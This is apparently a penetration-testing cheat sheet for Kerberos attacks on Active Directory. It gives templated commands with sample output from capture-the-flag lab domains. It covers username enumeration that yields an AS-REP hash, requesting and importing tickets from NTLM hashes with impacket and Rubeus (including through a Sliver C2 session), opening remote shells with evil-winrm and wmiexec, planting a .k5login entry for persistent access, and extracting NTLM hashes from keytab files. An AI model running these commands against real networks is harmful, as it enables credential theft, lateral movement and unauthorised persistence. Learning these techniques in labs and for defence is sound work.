Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Users Enum
kerbrute userenum --domain <DOMAIN> --dc <DC> <USERS_FILE>
Sample Output:
$ kerbrute userenum --domain absolute.htb --dc dc.absolute.htb usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 09/24/24 - Ronnie Flathers @ropnop
2024/09/24 14:54:41 > Using KDC(s):
2024/09/24 14:54:41 > dc.absolute.htb:88
2024/09/24 14:54:41 > [+] VALID USERNAME: j.roberts@absolute.htb
2024/09/24 14:54:41 > [+] VALID USERNAME: m.chaffrey@absolute.htb
2024/09/24 14:54:41 > [+] VALID USERNAME: s.osvald@absolute.htb
2024/09/24 14:54:41 > [+] VALID USERNAME: d.klay@absolute.htb
2024/09/24 14:54:41 > [+] VALID USERNAME: j.robinson@absolute.htb
2024/09/24 14:54:41 > [+] VALID USERNAME: n.smith@absolute.htb
2024/09/24 14:54:42 > Done! Tested 88 usernames (6 valid) in 0.491 seconds
Ref: kerbrute
use auxiliary/gather/kerberos_enumusers
Sample Output:
TO-DO
set user_file <USERS_FILE>
Sample Output:
TO-DO
set rhosts <DC>
Sample Output:
TO-DO
set domain <DOMAIN>
Sample Output:
TO-DO
run
Sample Output:
msf6 auxiliary(gather/kerberos_enumusers) > run
[*] Using domain: DANTE - 172.16.2.1:88 ...
[*] 172.16.2.1 - User: "user1" user not found
[*] 172.16.2.1 - User: "user2" user not found
[*] 172.16.2.1 - User: "user3" user not found
[+] 172.16.2.1 - User: "user4" does not require preauthentication. Hash: $krb5asrep$23$ ---[SNIP]--- 9161d63be1
---[SNIP]---
[*] Auxiliary module execution completed
Kerberos Ticket (From Linux)
1. Config /etc/hosts
sudo nxc smb <DC_IP> --generate-hosts-file /etc/hosts
Sample Output:
$ sudo nxc smb 10.129.235.149 --generate-hosts-file /etc/hosts
SMB 10.129.235.149 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
$ tail -n1 /etc/hosts
10.129.235.149 DC.administrator.htb administrator.htb DC
2. Config /etc/krb5.conf
sudo nxc smb <DC_IP> --generate-krb5-file /etc/krb5.conf
Sample Output:
$ sudo nxc smb 10.129.235.149 --generate-krb5-file /etc/krb5.conf
SMB 10.129.235.149 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
$ cat /etc/krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = ADMINISTRATOR.HTB
[realms]
ADMINISTRATOR.HTB = {
kdc = dc.administrator.htb
admin_server = dc.administrator.htb
default_domain = administrator.htb
}
[domain_realm]
.administrator.htb = ADMINISTRATOR.HTB
administrator.htb = ADMINISTRATOR.HTB
3. Config /etc/resolv.conf [Optional]
nameserver <DC_IP>
Sample Output:
nameserver 10.10.11.10
4. Installation [Optional]
sudo apt install krb5-user cifs-utils
Sample Output:
TO-DO
5. Request a Ticket
sudo ntpdate -s <DC_IP> && kinit <USER>
Sample Output:
$ sudo ntpdate -s 10.129.234.139 && kinit Olivia
Password for Olivia@ADMINISTRATOR.HTB:
ktutil
Sample Output:
$ ktutil
ktutil:
# Domain in UPPER case
add_entry -key -p <USER>@<DOMAIN> -k 1 -e rc4-hmac
Sample Output:
ktutil: add_entry -key -p Olivia@ADMINISTRATOR.HTB -k 1 -e rc4-hmac
Key for Olivia@ADMINISTRATOR.HTB (hex):
# NTLM
<HASH>
Sample Output:
Key for Olivia@ADMINISTRATOR.HTB (hex): fbaa3e2294376dc0f5aeb6b41ffa52b7
ktutil:
write_kt <USER>.keytab
Sample Output:
ktutil: write_kt Olivia.keytab
ktutil:
exit
Sample Output:
ktutil: exit
kinit -V -k -t '<USER>.keytab' -f '<USER>@<DOMAIN>'
Sample Output:
$ kinit -V -k -t 'Olivia.keytab' -f 'Olivia@ADMINISTRATOR.HTB'
Using default cache: /tmp/krb5cc_1000
Using principal: Olivia@ADMINISTRATOR.HTB
Using keytab: Olivia.keytab
Authenticated to Kerberos v5
6. Check
klist
Sample Output:
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: Olivia@ADMINISTRATOR.HTB
Valid starting Expires Service principal
2025-07-15T05:02:44 2025-07-15T15:02:44 krbtgt/ADMINISTRATOR.HTB@ADMINISTRATOR.HTB
renew until 2025-07-16T05:02:37
1. Request a Ticket
sudo ntpdate -s <DC_IP> && impacket-getTGT '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip <DC_IP>
Sample Output:
$ sudo ntpdate -s 10.129.255.235 && impacket-getTGT 'ADMINISTRATOR.HTB/Olivia:ichliebedich' -dc-ip 10.129.255.235
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Olivia.ccache
sudo ntpdate -s <DC_IP> && impacket-getTGT '<DOMAIN>/<USER>' -hashes :<HASH> -dc-ip <DC_IP>
Sample Output:
$ sudo ntpdate -s 10.129.255.235 && impacket-getTGT 'ADMINISTRATOR.HTB/Olivia' -hashes :fbaa3e2294376dc0f5aeb6b41ffa52b7 -dc-ip 10.129.255.235
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Olivia.ccache
2. Check
# Import ticket
export KRB5CCNAME='<USER>.ccache'
Sample Output:
$ export KRB5CCNAME='Olivia.ccache'
# Check ticket
klist
Sample Output:
$ klist
Ticket cache: FILE:Olivia.ccache
Default principal: Olivia@ADMINISTRATOR.HTB
Valid starting Expires Service principal
2025-07-16T20:54:29 2025-07-17T06:54:29 krbtgt/ADMINISTRATOR.HTB@ADMINISTRATOR.HTB
renew until 2025-07-17T20:54:29
Kerberos Ticket (From Windows)
1. Request a Ticket
.\rubeus.exe asktgt /user:<USER> /password:'<PASSWORD>' /enctype:<ENC_TYPE> /domain:<DOMAIN> /dc:<DC> /ptt /nowrap
Sample Output:
*Evil-WinRM* PS C:\programdata> .\rubeus.exe asktgt /user:m.lovegod /password:'AbsoluteLDAP2022!' /enctype:AES256 /domain:ABSOLUTE.HTB /dc:DC.ABSOLUTE.HTB /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
[*] Building AS-REQ (w/ preauth) for: 'ABSOLUTE.HTB\m.lovegod'
[*] Using domain controller: fe80::71ce:9b94:4962:d202%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBa ---[SNIP]--- VURS5IVEI=
[+] Ticket successfully imported!
ServiceName : krbtgt/ABSOLUTE.HTB
ServiceRealm : ABSOLUTE.HTB
UserName : m.lovegod
UserRealm : ABSOLUTE.HTB
StartTime : 9/24/2024 7:08:14 AM
EndTime : 9/24/2024 11:08:14 AM
RenewTill : 9/24/2024 11:08:14 AM
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2ScGZUzmFdmTGETruj0VhWSGwiKTg7dbQVabz0QZU8=
ASREP (key) : 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
.\rubeus.exe asktgt /user:<USER> /rc4:<HASH> /domain:<DOMAIN> /dc:<DC> /ptt /nowrap
Sample Output:
*Evil-WinRM* PS C:\programdata> .\rubeus.exe asktgt /user:Administrator /rc4:1f4a6093623653f6488d5aa24c75f2ea /domain:ABSOLUTE.HTB /dc:DC.ABSOLUTE.HTB /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 1f4a6093623653f6488d5aa24c75f2ea
[*] Building AS-REQ (w/ preauth) for: 'ABSOLUTE.HTB\Administrator'
[*] Using domain controller: fe80::71ce:9b94:4962:d202%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBa ---[SNIP]--- VURS5IVEI=
[+] Ticket successfully imported!
ServiceName : krbtgt/ABSOLUTE.HTB
ServiceRealm : ABSOLUTE.HTB
UserName : Administrator
UserRealm : ABSOLUTE.HTB
StartTime : 9/24/2024 7:10:55 AM
EndTime : 9/24/2024 5:10:55 PM
RenewTill : 10/1/2024 7:10:55 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Ge3n0tM7A0k4q2bJ+0F+uA==
ASREP (key) : 1F4A6093623653F6488D5AA24C75F2EA
2. Check
klist
Sample Output:
*Evil-WinRM* PS C:\programdata> klist
Current LogonId is 0:0x2e0e9d
Cached Tickets: (2)
#0> Client: Administrator @ ABSOLUTE.HTB
Server: krbtgt/ABSOLUTE.HTB @ ABSOLUTE.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 9/24/2024 7:10:55 (local)
End Time: 9/24/2024 17:10:55 (local)
Renew Time: 10/1/2024 7:10:55 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
#1> Client: Administrator @ ABSOLUTE.HTB
Server: HTTP/DC.ABSOLUTE.HTB @ ABSOLUTE.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/24/2024 7:05:19 (local)
End Time: 9/24/2024 17:03:25 (local)
Renew Time: 0
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x8 -> ASC
Kdc Called:
Kerberos Ticket (From C2)
1. Request a Ticket
rubeus -- 'asktgt /user:<USER> /password:<PASSWORD> /enctype:<ENC_TYPE> /domain:<DOMAIN> /dc:<DC> /ptt /nowrap'
Sample Output:
sliver (helloworld) > rubeus -- 'asktgt /user:m.lovegod /password:AbsoluteLDAP2022! /enctype:AES256 /domain:ABSOLUTE.HTB /dc:DC.ABSOLUTE.HTB /ptt /nowrap'
[*] rubeus output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using salt: ABSOLUTE.HTBm.lovegod
[*] Using aes256_cts_hmac_sha1 hash: 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
[*] Building AS-REQ (w/ preauth) for: 'ABSOLUTE.HTB\m.lovegod'
[*] Using domain controller: fe80::71ce:9b94:4962:d202%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBa ---[SNIP]--- VURS5IVEI=
[+] Ticket successfully imported!
ServiceName : krbtgt/ABSOLUTE.HTB
ServiceRealm : ABSOLUTE.HTB
UserName : m.lovegod (NT_PRINCIPAL)
UserRealm : ABSOLUTE.HTB
StartTime : 9/24/2024 7:16:52 AM
EndTime : 9/24/2024 11:16:52 AM
RenewTill : 9/24/2024 11:16:52 AM
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : aes256_cts_hmac_sha1
Base64(key) : aBhZJr9iogDKSLtohxAgie5HPBSLktIxsRYujp/MqVA=
ASREP (key) : 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
rubeus -- 'asktgt /user:<USER> /rc4:<HASH> /domain:<DOMAIN> /dc:<DC> /ptt /nowrap'
Sample Output:
sliver (helloworld) > rubeus -- 'asktgt /user:Administrator /rc4:1f4a6093623653f6488d5aa24c75f2ea /domain:ABSOLUTE.HTB /dc:DC.ABSOLUTE.HTB /ptt /nowrap'
[*] rubeus output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 1f4a6093623653f6488d5aa24c75f2ea
[*] Building AS-REQ (w/ preauth) for: 'ABSOLUTE.HTB\Administrator'
[*] Using domain controller: fe80::71ce:9b94:4962:d202%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBa ---[SNIP]--- VURS5IVEI=
[+] Ticket successfully imported!
ServiceName : krbtgt/ABSOLUTE.HTB
ServiceRealm : ABSOLUTE.HTB
UserName : Administrator (NT_PRINCIPAL)
UserRealm : ABSOLUTE.HTB
StartTime : 9/24/2024 7:17:33 AM
EndTime : 9/24/2024 5:17:33 PM
RenewTill : 10/1/2024 7:17:33 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : BIdtxt2Rokdo+R9tNjoCLA==
ASREP (key) : 1F4A6093623653F6488D5AA24C75F2EA
2. Check
c2tc-klist
Sample Output:
sliver (helloworld) > c2tc-klist
[*] Successfully executed c2tc-klist (coff-loader)
[*] Got output:
Cached Tickets: (1)
#0> Client: Administrator @ ABSOLUTE.HTB
Server: krbtgt/ABSOLUTE.HTB @ ABSOLUTE.HTB
KerbTicket Encryption Type: (18) AES256_CTS_HMAC_SHA1_96
Ticket Flags: 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 9/24/2024 7:17:33
End Time: 9/24/2024 17:17:33
Renew Time: 10/1/2024 7:17:33
Session Key Type: (23) RC4_HMAC_NT
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
WinRM with Kerberos
1. Config '/etc/krb5.conf'
# In UPPER case
[libdefaults]
default_realm = <DOMAIN>
[realms]
<DOMAIN> = {
kdc = <DC>:88
admin_server = <DC>
default_domain = <DOMAIN>
}
[domain_realm]
.domain.internal = <DOMAIN>
domain.internal = <DOMAIN>
Sample Output:
[libdefaults]
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB = {
kdc = DC.ABSOLUTE.HTB:88
admin_server = DC.ABSOLUTE.HTB
default_domain = ABSOLUTE.HTB
}
[domain_realm]
.domain.internal = ABSOLUTE.HTB
domain.internal = ABSOLUTE.HTB
2. Connect
sudo ntpdate -s <DC_IP> && evil-winrm -i <TARGET_DOMAIN> -r <DOMAIN>
Sample Output:
$ sudo ntpdate -s DC.ABSOLUTE.HTB && evil-winrm -i DC.ABSOLUTE.HTB -r ABSOLUTE.HTB
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
sudo ntpdate -s <DC_IP> && impacket-wmiexec '<DOMAIN>/<USER>@<TARGET_DOMAIN>' -k -no-pass
Sample Output:
$ sudo ntpdate -s DC.ABSOLUTE.HTB && impacket-wmiexec 'ABSOLUTE.HTB/Administrator@DC.ABSOLUTE.HTB' -k -no-pass
Impacket v0.12.0.dev1+20240730.164349.ae8b81d7 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
SMB with Kerberos
sudo ntpdate -s <DC_IP> && impacket-smbclient '<DOMAIN>/<USER>@<TARGET_DOMAIN>' -k -no-pass
Sample Output:
$ sudo ntpdate -s DC.ABSOLUTE.HTB && impacket-smbclient 'ABSOLUTE.HTB/Administrator@DC.ABSOLUTE.HTB' -k -no-pass
Impacket v0.12.0.dev1+20240730.164349.ae8b81d7 - Copyright 2023 Fortra
Type help for list of commands
#
Add Kerberos Access in Linux
echo '<USER>@<DOMAIN>' > /home/<TARGET_USER>/.k5login
Sample Output:
TO-DO
Extract NTLM from Keytab
# Check
cat /etc/krb5.keytab | base64 -w0
Sample Output:
TO-DO
# Extract
python3 keytabextract.py krb5.keytab
Sample Output:
$ python3 keytabextract.py krb5.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : EXAMPLE.COM
SERVICE PRINCIPAL : MAIL01$/
NTLM HASH : 0f916c5246fdbc7ba95dcef4126d57bd
AES-256 HASH : eac6b4f4639b96af4f6fc2368570cde71e9841f2b3e3402350d3b6272e436d6e
AES-128 HASH : 3a732454c95bcef529167b6bea476458
Ref: KeyTabExtract